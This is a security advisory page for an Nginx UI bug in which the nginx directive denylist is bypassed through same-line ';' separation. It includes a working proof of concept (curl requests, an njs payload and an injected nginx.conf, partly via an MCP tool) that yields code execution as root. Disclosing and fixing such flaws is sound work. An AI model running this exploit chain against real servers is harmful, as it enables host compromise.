CVE-2026-84316: Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)
Summary config.ValidateConfigFile is the security control that blocks dangerous nginx directives (js, perl, loadmodule of njs/perl modules, user root). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked directive after a ;
Published Oct 15, 2026
Affected packages
github.com/0xJacky/Nginx-UI
- Ecosystem
- Go
- Affected
- < 1.9.10-0.20260703131214-23d1934099b0
- Fixed in
- 1.9.10-0.20260703131214-23d1934099b0
- Check
go list -m github.com/0xJacky/Nginx-UI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
config.ValidateConfigFile is the security control that blocks dangerous nginx directives (js_*, perl_*, load_module of njs/perl modules, user root). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked directive after a ; on the SAME line defeats every check. The include directive is also not on the denylist. As a result, an authenticated caller can inject the exact directives the hardening was meant to block, through EVERY path that calls the validator — POST /api/configs (add), the REST config modify endpoint (api/config/modify.go), the MCP nginx_config_modify tool, and the site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngx_http_js_module.so), this leads to code execution in the nginx worker; with user root the workers run as root.
This is distinct from the config_add gap (the MCP nginx_config_add tool not calling the validator at all): here the validator IS called and still bypassed, so fixing config_add does not fix this.
Root cause (internal/config/validation.go, ValidateConfigDirectives)
for _, line := range bytes.Split(content, []byte("\n")) { // splits on \n only
trimmed := strings.TrimSpace(string(line))
...
directive := firstDirectiveToken(trimmed) // first [a-zA-Z_]* of the line
if directive == "user" && configuresRootWorkers(trimmed) { ... } // keyed on first token
if directive == "load_module" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token
if _, blocked := blockedConfigDirectives[directive]; blocked { ... } // keyed on first token
}nginx parses a 1; b 2; on one line as two directives, but this scanner only ever sees a. include is absent from blockedConfigDirectives.
Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only
Authenticated with a node secret (X-Node-Secret, from nginx-ui's first-boot log) or a user JWT. Every step below hits a path that calls ValidateConfigFile.
- Baseline — validator works on a plain line:
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
-d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}'
# -> 40017 "file content contains restricted nginx directive: js_import" (REJECTED)- Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it passes ValidateConfigContent):
poc.conf:
import fs from 'fs';
function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); }
export default { pwn };
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
-d '{"name":"poc.conf","base_dir":"","content":"<the JS above>","overwrite":true}' # ACCEPTED- Overwrite the main nginx.conf via the VALIDATED
nginx_config_modifyMCP tool, smuggling each blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile):
worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
error_log /var/log/nginx/error.log notice; user root;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
include /etc/nginx/mime.types;
default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf;
server { listen 8897; location = /pwn3 { js_content poc.pwn; } }
}- Reload. Result:
nginx -tsuccessful.- worker
/proc/<pid>/status→Uid: 0 0 0 0(root) — the blockeduser roottook effect. GET http://127.0.0.1:8897/pwn3→pwned2— js_content executed./tmp/NJS_VIA_DENYLIST_BYPASS.txtcreated, owned by root → njs code execution as root.
(An MCP-over-SSE client for steps using nginx_config_modify is included in the config_add report as poc_mcp_client.py; the same client drives this PoC. X-Node-Secret authenticates both REST and MCP.)
Impact
Authenticated config-injection that defeats the directive-validation control on all guarded write paths. On deployments with njs/perl available (the official Docker image ships ngx_http_js_module.so): code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed reload) plus user root privilege regression.
Honest scope / caveats
- Authenticated (node secret or user JWT), agent-mediated — not unauthenticated.
- What was live-verified: the bypass + full RCE on
POST /api/configs(add) and the MCPnginx_config_modifytool. The other callers — REST config modify (api/config/modify.go), site save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAMEValidateConfigFile(code-confirmed), so they are affected by construction; I did not individually live-test each. - RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. On stock nginx without those modules the injected
load_module/js_*make reload fail → DoS plus auser rootprivilege regression (inferred from nginx module behavior; not separately tested on a stock build). - The
;andincludebypasses are fully confirmed live. A backslash line-continuation variant was accepted by the validator but its nginx parsing was not separately confirmed and is not relied on. - "Full host compromise" describes the capability of root file read/write via njs
fs(proven: a root-owned file was written); the subsequent authorized_keys/cron step is a well-known escalation, not something this PoC executed.
Suggested fix
Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on ; (and handle blocks, comments, line continuations), validate EVERY statement, block/limit include, and recurse into included files — or validate via an allowlist and/or by running nginx -t on the candidate before activating it.
Dedup / novelty
Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the separately reported config_add validation gap (a missing validator call on one path). This is a bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it (checked osv.dev and the GitHub advisory database for this repo). Appears novel.
Credited to novice-22.
References
- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-cf23-7qxj-xmhr
- https://nvd.nist.gov/vuln/detail/CVE-2026-84316
- https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
- https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1
- https://github.com/advisories/GHSA-cf23-7qxj-xmhr
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
